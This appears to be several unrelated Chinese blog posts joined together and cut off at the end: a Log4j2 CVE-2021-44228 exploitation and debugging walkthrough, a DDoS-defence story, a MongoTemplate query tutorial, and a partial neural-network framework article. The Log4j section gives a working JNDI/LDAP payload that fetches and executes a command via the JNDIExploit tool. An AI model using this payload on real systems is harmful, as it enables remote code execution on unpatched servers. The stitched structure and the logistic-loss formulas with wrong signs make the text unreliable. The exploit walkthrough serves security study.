2024年12月

log4j2 JNDI注入漏洞(CVE-2021-44228)

概述

本文非常详细的从头到尾debug了CVE-2021-44228漏洞的利用过程,喜欢的师傅记得点个推荐~

Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。

由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。

此次漏洞触发条件为只要外部用户输入的数据会被日志记录,即可造成远程代码执行。(CNVD-2021-95914、CVE-2021-44228)

影响版本:Apache Log4j 2.x <= 2.15.0-rc1

2.15.0-rc1 存在补丁绕过,但是很鸡肋

漏洞复现

Log4j2的这个漏洞本质上是JNDI注入 + LDAP的漏洞,而LDAP的利用方式在JDK 6u211、7u201、8u191、11.0.1之后,增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径给禁了。

因为是JNDI攻击(JNDI客户端请求服务端的漏洞攻击),所以先准备一个JNDI环境,github上有师傅写了一些很好用的JNDI服务,很好用,我这里就不自己写了。我这里用的是:

https://github.com/zzwlpx/JNDIExploit

我看了一下这个师傅写的代码,其实就是
welk1n/
JNDI
-Injection-
Exploit

这个师傅写的JNDI注入检测工具的封装,支持解析ldap中的参数,通过参数生成对应的payload代码。

把代码clone下来,然后在本地直接使用IDEA运行即可,如果IDEA没法识别到对应的运行程序,则点击运行即可。

image-20241202225003450

点击运行之后先放到一边,然后我们准备log4j的漏洞触发

这里不考虑绕过,只分析漏洞本身,所以我们只需要挑一个未修复的JDK版本即可,我这里随便找了一个本地的JDK 8u131,然后加入以下log4j依赖

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
</dependency>

然后写入以下代码:

package log4j2_labs;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class CVE_2021_44228 {
    private static final Logger logger = LogManager.getLogger(CVE_2021_44228.class);
    public static void main(String[] args) {
        // Y21kIC9jIGNhbGM= 这里是cmd /c calc这个命令的Base64编码之后的写法,也就是漏洞触发之后要执行的命令
        logger.error("${jndi:ldap://127.0.0.1:1389/Basic/Command/Base64/Y21kIC9jIGNhbGM=}");
    }
}

然后运行这份代码,看一下结果,计算器被成功弹出,代码执行成功。

image-20241202230039184

漏洞调试

log4j2触发JNDI分析

从网上的师傅那里学到一招调试的技巧,就是如果我知道这份恶意代码一定会执行到某一个函数的话。就把断点断在对应的函数上,最后去反向分析调用的过程即可,比如我就在Runtime.getRuntime.exec()这个方法处下一个断点,然后通过IDEA的堆栈往上就能找对应的调用逻辑。

然后我们开始分析代码是怎么执行的,同时可能的话最好能分析一下JNDIExploit这个项目做了什么东西。

image-20241203092233051

然后先看函数被最开始调用的地方,这一块是什么意思呢,就是logIfEnabled这个方法中调用了两个函数,分别是isEnabled和logMessage,其实按照名字也大概能理解,就是如果这个日志是启动的(isEnabled),那么就调用logMessage来记录日志,否则的话啥也不干就直接退出了。

image-20241203092448244

我们来看一下isEnabled方法究竟干了什么事儿,isEnabled有好几个实现,但按照我们这里的逻辑其实最终会调用到Logger中的isEnable然后继续往下追踪,会发现其实调用的是一个filter方法,然后我们分析一下这个函数的逻辑。

image-20241203093532644

前边的大概意思就是说,从配置中获取一个过滤器,然后中间的逻辑都是在判断是否要过滤。

如果过滤器为空则会走下边的逻辑。

  • 如果level != null,则会返回false(默认我们调用logger.error、logger.info等方法时,都会对应一个枚举值,比如logger.error方法对应的就是Level.ERROR,logger.,其中枚举值还有一个int值,这个值是由StandardLevel这个枚举值定义的,StandardLevel和Level是绑定关系)
  • 如果intLevel > level.intLevel,level.intLevel是 我们传过来的那个值,而intLevel这个值是提前定义好的,所以这个判断意思就是 我们当前的日志级别的值是否比intLevel更低,在log4j2中,日志等级(StandardLevel中的int值)越低则日志优先级越高,intLevel值默认是200,也就是ERROR级别

总结一下这块的逻辑:log4j2中有FATAL、ERROR、WARN、INFO这些日志级别,默认只会记录(处理)小于等于200级别的日志,也就是ERROR和FATAL级别的日志。

image-20241203095419092

image-20241203095158760

然后回到logIfEnabled这个方法中,进入到logMessage函数中,然后一路跟下去,中间的函数都没什么好说的都是一些嵌套的方法调用对参数进行处理,在LoggerConfig.log方法中会把很多字段封装成一个LogEvent对象,这个对象在后边有用到,我们继续往下跟。

image-20241203102717625

这块的format是一个非常重要的方法,在这段代码中,有一个判断来判断event中是否有
${
这一个组合字符,如果有的话尝试把
${
标识的一串字符串拿到,然后调用StrSubstitutor.replace这个方法

image-20241203103258928

然后调用到了StrSubstitutor.substitute方法。这个方法其实挺复杂的,是一个递归解析变量的方法,然后解析每一个变量,虽然逻辑复杂但是对于咱们做安全学习来说,看懂大概逻辑即可。

log4j2的这个方法的注释是这样的:

Recursive handler for multiple levels of interpolation. This is the main interpolation method, which resolves the values of all variable references contained in the passed in text.

用于多级插值的递归处理程序。这是主要的插值方法,它解析传入文本中包含的所有变量引用的值。

Params:
event – The current LogEvent, if there is one. buf – the string builder to substitute into, not null offset – the start offset within the builder, must be valid length – the length within the builder to be processed, must be valid priorVariables – the stack keeping track of the replaced variables, may be null

参数:event–当前LogEvent(如果有的话)。buf–要替换的字符串生成器,而不是空偏移量–生成器中的起始偏移量必须是有效长度–要处理的生成器中的长度必须是有效的priorVariables–跟踪被替换变量的堆栈,可以是空的

Returns:
the length change that occurs, unless priorVariables is null when the int represents a boolean flag as to whether any change occurred.

返回:发生的长度变化,除非当int表示是否发生任何变化的布尔标志时priorVariables为null。

简单理解说就是比如说,buf中包含了嵌套的变量时,会递归拆分这些变量。然后调用resolveVariable来解析变量。

image-20241203104936922

然后会获取所有的变量解析器,然后尝试使用解析器来处理这个变量,这个地方就非常关键了,其实可以看到这里是支持多种解析方式的,比如env、sys、ctx等等,还有我们最重要的漏洞点jndi,接着往下跟马上就到最终的处理逻辑了。

image-20241203105859232

因为我们这里输入的是一个jndi:xxxx,所以这里的Strlookup自然而然也是一个JndiLookup处理器

这里边调用了JndiManager的lookup方法,这个jndiManager其实就是log4j2对JNDI的一层封装而已,

image-20241203110203338

这里的Context其实就是JNDI中的上下文对象。可以发现这里就是最终的触发点了,请求了

ldap://127.0.0.1:1389/Basic/Command/Base64/Y21kIC9jIGNhbGM=

image-20241203110418741

当你学过JNDI + LDAP的注入攻击方式应该就很清除了,当前log4j2本质上就是一个LDAP的客户端,然后去外部请求LDAP的服务端。

然后放开断点,此时计算器就被弹出了。

image-20241203111257982

JNDIExploit分析

这个项目其实就是封装了一下
JNDI-Injection-Exploit
的服务端,让其用起来更加方便,这里简单分析一下,主要是我也想看一下它写的逻辑,hhhhhhh

JNDIServer分析

我们先静态分析一下

image-20241203111446623

在applyCmdArgs方法中,解析了所有的配置项,然后把配置存入到Config这个类中,这个类中的所有字段都是public static的,可以理解是全局访问的变量,而且全局只有一份。

image-20241203111904874

然后看一下LdapServer中的内容,大概意思就是起一个Ldap服务,监听所有IP请求(0.0.0.0),因为我们没有配置ldap端口所以使用默认ldap端口,在配置完成后启动LDAP服务监听。

image-20241203111631257

然后我们知道要连接的肯定是Ldap服务器,所以我们看一下LdapServer这个里边是怎么写的,也就是new LdapServer这个构造方法中干了什么事儿。

image-20241203132628183

这个其实就是获取到所有用了LdapMapping注解的类,然后通过routes将所有的路径都存储起来,而LdapServer重写了processSearchResult函数,逻辑如下:

从routes中拿到第一段URL,通过URL匹配到对应的controller,然后调用这个controller的process方法和sendResult方法。

image-20241203132919485

这里以BasicController为例,process其实就是对请求参数做处理的方法,sendResult就是回应Ldap客户端请求的方法,这里有可能会根据请求的不同来选择是否要转到HttpServer上。

image-20241203133948833

HTTPServer分析

HttpServer.start方法中会开启一个HTTP服务器,然后创建一个监听 "/"的路由。可以看到在这个Handler中,他处理了所有以class、wsdl、jar、xxelog为结尾的请求,否则就会访问404状态码

image-20241203112242011

然后我们这里其实是用到了.class,所以看一下handleClassRequest里边是个啥。

其实就是把Cache中存放的二进制字节拿出来,然后发送出去,没了......

image-20241203134441013

Cache是什么时候放进去的呢,在BasicController中是这么写的,如果对应的type是command,那么就生成一个命令执行的代码执行模板,然后将其放入到缓存中,我们看一代码执行模板是怎么被创建出来的。

image-20241203134557536

就是这么一个逻辑,根据要执行的cmd命令生成一个随机类名,然后使用ASM来直接生成一份包含了Runtime.getRuntime().exec()这个方法,exec方法的参数就是cmd中的内容。

image-20241203134732130

OK,对我们学习该漏洞帮助的JNDIExploit这个项目差不多就这么多了。可能这个老哥考虑的东西比较多(可能是想写的更加灵活一点),所以加了个HttpServer来完成其他方式的攻击吧,其实这里不使用HttpServer也行直接把ASM的代码移植到Ldap那里是一样的效果。

其实就是JNDI的普通注入,可以参考大佬写的这篇分析JNDI的博客:
https://www.mi1k7ea.com/2019/09/15/浅析JNDI注入/

补充

看起来log4j2的这个库只会导致log.error和log.fatal这两个方法会导致漏洞的触发,但其实不是的,我们还记得isEnabled方法吗,其中那个判断是这么写的:

 public boolean isEnabled(final Level level, final Marker marker, final String message, final Throwable t) {
    return privateConfig.filter(level, marker, message, t);
}
boolean filter(final Level level, final Marker marker, final String msg, final Throwable t) {
    final Filter filter = config.getFilter();
    if (filter != null) {
        final Filter.Result r = filter.filter(logger, level, marker, (Object) msg, t);
        if (r != Filter.Result.NEUTRAL) {
            return r == Filter.Result.ACCEPT;
        }
    }
    // 重点就是这个intLevel,其实这个外部是能配置的,比如开发者希望记录INFO以上级别的日志,那么这个时候intLevel就是INFO级别的值
    return level != null && intLevel >= level.intLevel();
}

配置level有多种方法,比如在resource/中新增log4j2.xml文件:

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
    <!-- 为日志打印配置一个输出的前缀 -->
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss} [%t] %-5p %c{1} - %m%n"/>
        </Console>
    </Appenders>

    <Loggers>
        <Root level="info"> <!-- 设置根级别为 debug -->
            <AppenderRef ref="Console"/>
        </Root>
    </Loggers>
</Configuration>

还有一种方法是通过代码API直接配置

import org.apache.logging.log4j.core.config.Configurator;
import org.apache.logging.log4j.Level;
.......
public class CVE_2021_44228 {
    private static final Logger logger = LogManager.getLogger(CVE_2021_44228.class);
    public static void main(String[] args) {
        Configurator.setLevel("CVE_2021_44228", Level.INFO);
        logger.error("${jndi:ldap://127.0.0.1:1389/Basic/Command/Base64/Y21kIC9jIGNhbGM=}");
    }
}

如果我们是以攻击者的视角,其实是无法干涉这些配置的,所以能否触发该漏洞,要看开发使用的配置。

回到我们前边说的那段描述这个漏洞的话:此次漏洞触发条件为
只要外部用户输入的数据会被日志记录
,即可造成远程代码执行。

这一篇内容感觉已经写的很长了,所以这里就结束了,后边可能再更新一篇jndi关键词 绕过的相关内容吧。

今天是一个值得纪念的日子,你打开一罐可乐,看着自己刚刚上线的小网站,洋洋得意。

这是你第一次做的网站,上线之后,网站访问量突飞猛进;没过多久,你就拿到了千万的风投,迎娶了女神,走上了人生巅峰。。。

害,原来是喝醉了啊。。。你发现刚才那一切竟然都是你的幻想!

这时你突然收到了一封邮件:

你:???

虽然你之前就听说过 DDoS 攻击,但没想到这么快就发生在了自己的头上。

DDoS(分布式拒绝服务)攻击是一种通过制造大量恶意流量打向目标服务器,导致其资源耗尽、服务中断或无法正常响应用户请求的网络攻击方式。

曾经你以为,DDoS 没什么可怕的,大不了攻击时网站不提供服务,攻击结束后再重启服务不就好了?

但现实给了你一巴掌,没想到云服务器平台直接把你的服务器
封禁了 12 小时
!你脊背有些发凉了:攻击者只需攻击几十秒,竟然就能让你的服务器老老实实瘫痪半天。

你不甘心,决定运用你学过的专业知识进行反击。

你给服务器程序增加了一个请求 IP 黑白名单,并且能够对每个 IP 的请求频率进行统计,只要发现单个 IP 请求过快过多,系统就会自动把该 IP 拉黑,就不用处理该 IP 的请求了。

你信心满满,又开始了对未来的幻想。。

结果没多久,你又收到了同样的邮件,你的服务器 IP 又被封堵了!而且这次
封禁了 24 小时

坏了,你意识到自己犯了一个错误。DDoS 攻击根本不需要向你的应用程序发送恶意请求,而是可以通过直接发送大量的网络流量(比如 UDP 包、ICMP 请求等)到服务器,从而消耗服务器的带宽和资源。也就是说,攻击的目标是直接影响服务器的网络层和传输层,不需要经过应用层。

那一瞬间,你发如雨下,突然意识到,自己的后端技术学得再好,有什么用?DDoS 来了,自己还是没办法解决。

不过你不甘心,天将降大任于斯人也,必先苦其心志劳其筋骨,伤其服务器。。。你继续搜索防御方案,发现 Cloudflare 提供了免费的、号称不限量的 DDoS 防护服务!于是你满怀希望地将它接入网站。

之后,有些用户访问网站时,就会看到这朵小黄云,减少了机器请求攻击:

这下,你长呼了一口气,让攻击者和 Cloudflare 斗智斗勇吧~

可没想到,接下来的几天,不断有用户反映:猪站长啊,你这网站打开速度也太慢了!

原来免费版本的 Cloudflare 在国内的节点数量有限,要从国外节点加载网站文件,导致国内用户访问速度变慢了。

于是你在网上查了一些攻略,发现有一些开源仓库确实可以找到国内优选的加速节点,但对网络运营商还是有一定限制,而且谁知道这些节点又能撑多久呢?

正当你犹豫不决时,你又又又又又收到了服务器封堵的邮件!

你一脸懵逼:不是已经接入 CloudFlare 防护了么?

等等,攻击者已经知道了服务器本身的 IP 地址,完全可以绕过 CloudFlare,直接攻击到服务器啊!

这就好比你造了一面墙,但攻击者直接绕过去:

你有些头痛了,干脆一不做二不休,花点儿钱上更好的防护服务?于是你上网搜了一下大公司专业的高防服务器,发现价格竟然在几万 ~ 几十万不等!

你看了看自己 “薄如蝉翼” 的钱包,瞬间放弃了这个念头。

你开始怀疑是不是自己选错了方向,或者该做的也许并不是去拼防护,而是去做点儿别的事情?

首先,你想到了切换一个平台作为源站,只要保证服务器不会因为攻击而导致长时间封禁,这样即使被攻击了也能快速恢复。但是换到哪个平台呢?这时你想到了你的好朋友鱼皮,他曾经也用了一些平台,比如 Vercel。但你听说,他当时在 Vercel 上的网站因为被攻击得太严重,直接被平台封禁了账号,属实是老倒霉蛋了。

通过调研,你发现可以使用云托管之类的容器部署平台,可以将应用程序部署到多个不同的节点上,被封禁的概率小了很多。

但治根不治本,你想了想,只要保护好自己的源站服务器 IP 地址不被泄露,是不是就可以了呢?

于是,你更换了个新的服务器 IP。这次,不直接将网站域名解析到服务器 IP,而是接入了一个大厂的 CDN 服务,将域名解析到 CDN 服务,再让 CDN 服务从你的服务器获取网站文件。这样一来,攻击者无法直接得到服务器的 IP 地址,只能看到 CDN 节点的 IP。

CDN 一般是按照流量计费的,不出意外的话,价格比高防可低了太多。

那如果,出意外了呢?

没过几天,你发现自己的云服务账户欠费了!

=

原来,攻击者疯狂请求你的 CDN 盗刷流量,产生了高额的流量费用。

第一次使用 CDN 的你,根本没有料到这点。后来,鱼皮给你推荐了他写过的一篇文章
《我被刷几万元的血泪经验。。。》
,看完后你才意识到:乱用 CDN,钱包两行泪啊!

这次,你给 CDN 配置了单 IP 访问频率限制、最大消耗流量的限制和自动告警,比如 5 分钟内流量超过 5 G 时,就自动停止 CDN 服务。

这样一通操作之后,你又恢复了些信心。但没想到,接下来等待你的,是一场无休止的攻击循环。

攻击者攻击了你的 CDN => 触发 CDN 的用量封顶防护,自动关闭服务 => 你重新打开 CDN 服务、并且通过 CDN 配置拉黑了之前攻击者的 IP => 攻击者又使用新的 IP 攻击 CDN。。。

你的选择

你的故事还没有结束,接下来,你会怎么做呢?

  • A. 怒砸巨款,买一年的 DDoS 安全防护

  • B. 关闭网站,不做了

  • C. 找专业人士求助

  • D. 找警察叔叔求助

  • E. 想办法拉赞助

你的结局

A. 怒砸巨款,买一年的 DDoS 安全防护

你决定不再 “省小钱,吃大亏”,干脆砸几万块钱,买一个更加专业的防护服务。你的网站终于在大流量攻击下依然稳定运行,用户也稳定增长,但一年后,你的网站只盈利了不到 1 万,血亏!

B. 关闭网站,不做了

看到 DDoS 攻击一波又一波地袭来,你虽然无数次尝试过调整策略,但身心俱疲,最后你决定放弃,关掉这个网站。

虽然稍有不甘,但你意识到,想一个人做好、运营好网站真的太不容易,你也更加理解鱼皮曾经的感受,选择加入鱼皮,帮他一起开发
编程导航

C. 找专业人士求助

你意识到自己的网络安全知识是缺斤少两的,于是决定请一位专家来帮你做 DDOS 防护。专家跟你说了很多的专业名词和理论,什么零信任架构、IDS、IPS、态势感知、流量清洗、蜜罐之类的,但最终并没有给你实质性的帮助,因为你也没有足够的资金去实现那些理论。

D. 找警察叔叔求助

你认为攻击者已经触犯了法律,于是决定报警。但没想到,由于你并没有受到巨大的金额损失,警方表示对此案件的关注度较低。而且 DDoS 攻击通常是由大量分布在全球各地的受害主机发起的,很难被追踪和定位。

你很难过,但也意识到了,这才是现实。

E. 想办法拉赞助

既然解决不了 DDoS 问题,何不去找找投资者或合作伙伴,拉个 “大力支持” 的赞助?说不定他们会为你提供免费的 DDOS 防护服务呢!

于是,你将网站开源,持续写文章介绍自己的网站。最终被一位年轻的富二代看上,他不仅没有给你提供赞助,还直接让公司的程序员搬走了你的开源代码,自己上线了个网站。

从此,网络上总会看到一个郁郁寡欢的年轻人,嘴里念念有词:“我抄你们码!”


当然,还有更多的选择和结局,留给评论区的人才们讨论吧~ 如果你喜欢这篇文章的话,记得点赞支持哦!

更多编程学习资源

MongoDB是典型的非关系型数据库,但是它的功能越来越复杂,很多项目中,我们为了快速拓展,甚至直接使用Mongo 来替代传统DB做数据持久化。
虽然MongoDB在支持具体业务时没有问题,但是由于它是文档型数据库,拥有一套独立的语法,不再支持传统的SQL。
开发人员发现在实际开发过程中,由于语法问题,在处理复杂的业务查询时,不知该如何下手,使不上劲。
在这里我总结了一下接触到的使用场景:
如果是简单的业务,那么我们直接使用spring JPA来实现就可以,比如这些操作:
1、创建
2、删除
3、修改
4、简单的查询
因为这些语句的逻辑往往不是很复杂,JPA完全可以胜任,而且还清晰直观。
如果是复杂的场景,我们就使用MongoTemplate 来组织条件逻辑:
假设背景是有张Student 表,结构如下:
我们已经预先插入了下边的数据:

(1)先来一个简单的
单条件查询:

1     private voidsimpleInQuery() {2         Query query = newQuery();3         query.addCriteria(Criteria.where("classNo").ne(2));4         List<Student> students = mongoTemplate.find(query, Student.class);5         log.warn("the query result is: {}", students);6     }

输出如下:

14:39:19.805  WARN 83348 ---[           main] c.e.demo.learn.mongo.MongodbController   : the query result is: 
[Student(_id
=674d8125bf8e9e35bbc08718, name=xiaoa, description=good1, classNo=1, age=15),
Student(_id
=674d8125bf8e9e35bbc08719, name=xiaob, description=good2, classNo=1, age=13),
Student(_id
=674d8125bf8e9e35bbc0871a, name=xiaoc, description=good3, classNo=1, age=15),
Student(_id=674d8125bf8e9e35bbc0871b, name=xiaod, description=good4, classNo=1, age=15),
Student(_id
=674d8153c993425aaa5c4fec, name=zhongd, description=perfect2, classNo=3, age=15),
Student(_id
=674d81dc8130705614f23311, name=biga, description=nice, classNo=3, age=15),
Student(_id
=674d81dd8130705614f23312, name=bigb, description=nice, classNo=3, age=13),
Student(_id
=674d81dd8130705614f23313, name=bigc, description=nice, classNo=3, age=15),
Student(_id
=674d81dd8130705614f23314, name=bigd, description=nice, classNo=3, age=15)]

观察代码,我们发现需要首先创建一个Query 实例,表示是一个查询动作。
query 对象,继续补充一个Criteria 实例。Criteria 英[kraɪ'tɪəriə] 译为比标准、准则、尺度。我们可以直接理解为查询条件。
注意Criteria 实例是由 Criteria.where 方法创建出来的。(防盗连接:本文首发自http://www.cnblogs.com/jilodream/ )这是一个简单工厂,参数为要查询的表的列名(文档的字段)。再跟一个in() ,表示列的in 操作,in() 中跟的是in操作的值。
最后直接用mongoTemplate 实例执行find 操作就好,条件为查询逻辑和表对应的类文件。
我们这里使用的是in 操作,除此之外,常用的还有

方法 作用 类比sql
gt 表示 大于 >
gte 表示 大于等于 >=
lt 表示 小于 <
lte 表示 小于等于 <=
ne 表示 不等于 !=
nin 表示 不属于 not in
is 表示等于 =

regex

表示 like (注意后面跟正则表达式,如 "^.*" + queryKeyWord + ".*$") like ‘%关键字%’

这些都是基本操作,有sql经验的同学肯定明白具体怎么使用。
我们再补充一个模糊查询的例子:

1     private voidsimpleRegexQuery() {2         Query query = newQuery();3         String queryKeyWord = "ong";4         query.addCriteria(Criteria.where("name").regex("^.*" + queryKeyWord + ".*$"));5         List<Student> students = mongoTemplate.find(query, Student.class);6         log.warn("the query result is: {}", students);7     }

输出如下:

2024-12-03 14:46:23.781  WARN 81708 --- [           main] c.e.demo.learn.mongo.MongodbController   : the query result is:
[Student(_id=674d8152c993425aaa5c4fe9, name=zhonga, description=perfect2, classNo=2, age=15),
Student(_id=674d8153c993425aaa5c4fea, name=zhongb, description=perfect2, classNo=2, age=13),
Student(_id=674d8153c993425aaa5c4feb, name=zhongc, description=perfect2, classNo=2, age=15),
Student(_id=674d8153c993425aaa5c4fec, name=zhongd, description=perfect2, classNo=3, age=15)]

(2)接着来看一个相对复杂点的组合条件:
两个或条件,类似于SQL中的: A表达式 OR B表达式,代码如下

1     private voidsimpleOrQuery() {2         Query query = newQuery();3         String queryKeyWord = "ong";4         Criteria neCri = Criteria.where("age").ne(15);5         Criteria regexCri = Criteria.where("name").regex("^.*" + queryKeyWord + ".*$");6         Criteria orCri = newCriteria().orOperator(neCri, regexCri);7 query.addCriteria(orCri);8         List<Student> students = mongoTemplate.find(query, Student.class);9         log.warn("the query result is: {}", students);10     }

执行效果如下:

2024-12-03 14:48:28.787  WARN 83804 --- [           main] c.e.demo.learn.mongo.MongodbController   : the query result is:
[Student(_id=674d8125bf8e9e35bbc08719, name=xiaob, description=good2, classNo=1, age=13),
Student(_id=674d8152c993425aaa5c4fe9, name=zhonga, description=perfect2, classNo=2, age=15),
Student(_id=674d8153c993425aaa5c4fea, name=zhongb, description=perfect2, classNo=2, age=13),
Student(_id=674d8153c993425aaa5c4feb, name=zhongc, description=perfect2, classNo=2, age=15),
Student(_id=674d8153c993425aaa5c4fec, name=zhongd, description=perfect2, classNo=3, age=15),
Student(_id=674d81dd8130705614f23312, name=bigb, description=nice, classNo=3, age=13)]

我们创建好两个Criteria的简单条件之后,再创建一个新的Criteria 实例,用一个or操作将二者关联起来.
query 接收最新的Criteria 实例,然后执行查询即可。
这里的写法类似于sql中的
where name like "%ong%" or age != 15

如果是两个AND 条件,类似于SQL中的: (防盗连接:本文首发自http://www.cnblogs.com/jilodream/ )A表达式 AND B表达式,用法和or的使用方法是一样的 。这里就不举例了,
我们这里写一个复杂的用法:

1     private voidcomplexQuery() {2         Query query = newQuery();3 
4         String queryKeyWord = "ong";5         Criteria ageCri = Criteria.where("age").ne(15);6         Criteria nameCri = Criteria.where("name").regex("^.*" + queryKeyWord + ".*$");7         Criteria cri1 = newCriteria().orOperator(ageCri, nameCri);8 
9         Criteria descCri = Criteria.where("description").is("nice");10         Criteria classNoCri = Criteria.where("classNo").in(1, 2, 3);11         Criteria cri2 = newCriteria().andOperator(descCri, classNoCri);12 
13         query.addCriteria(newCriteria().orOperator(cri1, cri2));14         List<Student> students = mongoTemplate.find(query, Student.class);15         log.warn("the query result is: {}", students);16     }

输出如下:

2024-12-03 14:51:46.908  WARN 92840 --- [           main] c.e.demo.learn.mongo.MongodbController   : the query result is:
[Student(_id=674d8125bf8e9e35bbc08719, name=xiaob, description=good2, classNo=1, age=13),
Student(_id=674d8152c993425aaa5c4fe9, name=zhonga, description=perfect2, classNo=2, age=15),
Student(_id=674d8153c993425aaa5c4fea, name=zhongb, description=perfect2, classNo=2, age=13),
Student(_id=674d8153c993425aaa5c4feb, name=zhongc, description=perfect2, classNo=2, age=15),
Student(_id=674d8153c993425aaa5c4fec, name=zhongd, description=perfect2, classNo=3, age=15),
Student(_id=674d81dc8130705614f23311, name=biga, description=nice, classNo=3, age=15),
Student(_id=674d81dd8130705614f23312, name=bigb, description=nice, classNo=3, age=13),
Student(_id=674d81dd8130705614f23313, name=bigc, description=nice, classNo=3, age=15),
Student(_id=674d81dd8130705614f23314, name=bigd, description=nice, classNo=3, age=15)](防盗连接:本文首发自http://www.cnblogs.com/jilodream/ )

这里的写法类似于sql中的

where ( description = "nice" and classNo in (1 ,2 ,3) ) or ("name like %ong%" or age != 15)

总体来看:
一个Criteria 实例,就是一个查询条件。

我们可以通过 or、and 操作来不断的组合生成一个新的Criteria实例,也就是一个新的查询条件 ,并且可以以此查询条件继续组合生成更高级的Criteria,以此不断的类推。

这个过程就像垒积木一样:

(3) 接着我们整合下分页功能,并且以班级排序

PageRequest pageable = PageRequest.of(pageIndex - 1, pageSize);
Query pageQuery
=query.with(pageable).with(Sort.by(Sort.Direction.DESC,"classNo"));

注意分页时,页码数是从0开始,所以要-1。同时排序使用Sort生成sort的对象,包含排序方式和字段,并且这里支持多级排序。

整体代码如下:

1     private voidcomplexPageQuery() {2         int pageIndex=2;3         int pageSize=3;4         Query query = newQuery();5         String queryKeyWord = "ong";6         Criteria ageCri = Criteria.where("age").ne(15);7         Criteria nameCri = Criteria.where("name").regex("^.*" + queryKeyWord + ".*$");8         Criteria cri1 = newCriteria().orOperator(ageCri, nameCri);9 
10         Criteria descCri = Criteria.where("description").is("nice");11         Criteria classNoCri = Criteria.where("classNo").in(1, 2, 3);12         Criteria cri2 = newCriteria().andOperator(descCri, classNoCri);13 
14         query.addCriteria(newCriteria().orOperator(cri1, cri2));15         long allDataSize = mongoTemplate.count(query, Student.class);16         PageRequest pageable = PageRequest.of(pageIndex - 1, pageSize);17         Query pageQuery=query.with(pageable).with(Sort.by(Sort.Direction.DESC,"classNo"));18         List<Student> students = mongoTemplate.find(pageQuery, Student.class);19         log.warn("the query result is: {}", students);20     }

输出如下:

2024-12-03 14:56:46.059  WARN 18516 --- [           main] c.e.demo.learn.mongo.MongodbController   : the query result is:
[Student(_id=674d81dd8130705614f23314, name=bigd, description=nice, classNo=3, age=15),
Student(_id=674d81dc8130705614f23311, name=biga, description=nice, classNo=3, age=15),
Student(_id=674d8152c993425aaa5c4fe9, name=zhonga, description=perfect2, classNo=2, age=15)]

简介

在本篇文章中,我们采用逻辑回归作为案例,探索神经网络的构建方式。文章详细阐述了神经网络中层结构的实现过程,并提供了线性层、激活函数以及损失函数的定义(实现方法)。

目录

  1. 背景介绍
  2. 网络框架构建
  • 层的定义
  • 线性层
  • 激活函数
  • 损失函数

背景介绍


在网络的实现过程中,往往设计大量层的计算,对于简单的网络(算法),其实现相对较容易,例如线性回归,但对于逻辑回归,从输入到激活值再到损失估计的过程整体已经较冗长,实现复杂,并且难以维护,因此,我们需要采用系统性的框架来实现网络(算法),以达到更好的性能、可维护性等。

以逻辑回归为例初步探究


逻辑回归的决策过程可以分为三步

  1. 对采样数据
    \(X\)
    进行评估

\[\begin{align*}
\text{z} &= \text{X}\text{w}+b\\
\frac{\partial \text{z}}{\partial \text{w}} &= \text{X}
\end{align*}
\]

  1. 激活函数变换

\[\begin{align*}
\hat{\text{y}}&=\sigma(\text{z})=\frac{1}{1+e^{-\text{z}}}\\
\frac{\partial \hat{\text{y}}}{\partial \text{z}}&=\sigma\circ \big(1-\sigma\big)
\end{align*}
\]

  1. 损失函数计算

\[\begin{align*}
\text{LOSS}&=\text{y}\circ \log \hat{\text{y}}+(1-\text{y})\circ\log(1-\hat{\text{y}})\\
\frac{\partial \text{LOSS}}{\partial \text{z}}&=\frac{y}{\hat{\text{y}}}+\frac{1-\text{y}}{1-\hat{\text{y}}}
\end{align*}
\]

其中
\(\circ\)
表述逐元素相乘或称哈达玛积
上述过程中反应出了这些层的一些共性:

  1. 计算函数值的输入与计算梯度时的输入相同。
  2. 计算函数值时,每一步的输入都是上一步的输出。
  3. 计算梯度时,由链式法则,每一步的梯度累乘即为损失关于参数的梯度。

函数值的计算过程从输入开始直至输出结果,故称为
前向传播(forward)
导数值的计算过程从输出开始反向直至第一层,故称为
反向传播(backward)

由此,可以总结,并设计出层的基本代码如下:

class Layer {
private:
    MatrixXd para;  // 参数
    MatrixXd cache; // 缓存
public:
    MatrixXd forward(MatrixXd input);     // 前向传播
    MatrixXd backward(MatrixXd prevGrad); // 反向传播
    void update(double learning_rate);    // 参数更新
}

部分层是没有参数的,例如激活函数、损失函数。这里只有线性层是有参数的。

框架功能探索


基于上一小节提出的框架,我们可以构建三个层次,伪代码如下:

Layer linear;
Layer sigmoid;
Layer logit;

下面我们来详细讨论如何基于该框架进行计算。

前向传播

MatrixXd Layer::forward(MatrixXd input) {
    cache = input; // 保存输入
    return input * para; // 对输入做计算并返回;这里给了一个示例
}
  1. z=linear.forward(X)
    :线性层对输入
    \(\text{X}\)
    进行评估,并在其内存
    cache
    中保存
    \(\text{X}\)

  2. hat_y=sigmoid.forward(z)
    :激活函数对输入
    \(\text{z}\)
    进行变换,得到类别概率(预测)
    \(\hat{\text{y}}\)
    ,同时在其内存
    cache
    中保存
    \(\text{z}\)

  3. loss = logit.forward(y, hat_y)
    :损失函数依据真实值
    \(\text{y}\)
    和预测值
    \(\hat{\text{y}}\)
    估计模型误差.

可以注意到,loss具有两个输入,一个是前向传播过程中的计算值,一个是真实结果。


多态性
的角度,虽然行为上有大量的一致性,但是由于输入参数数量不一致,其很难和普通层以及激活函数一样从基本层类派生,而是需要另外定义基类。

反向传播


反向传播的示例代码如下:

MatrixXd Layer::backward(MatrixXd prevGrad) {
    MatrixXd grad = ...;      // 采用cache中内容计算梯度
    cache = grad * prevGrad;  // 梯度累乘,同时保存进内存
    return cache;             // 返回梯度,以供下一层进行计算
}
  1. grad = logit.backward(y, hat_y)
    :依据公式计算损失的梯度
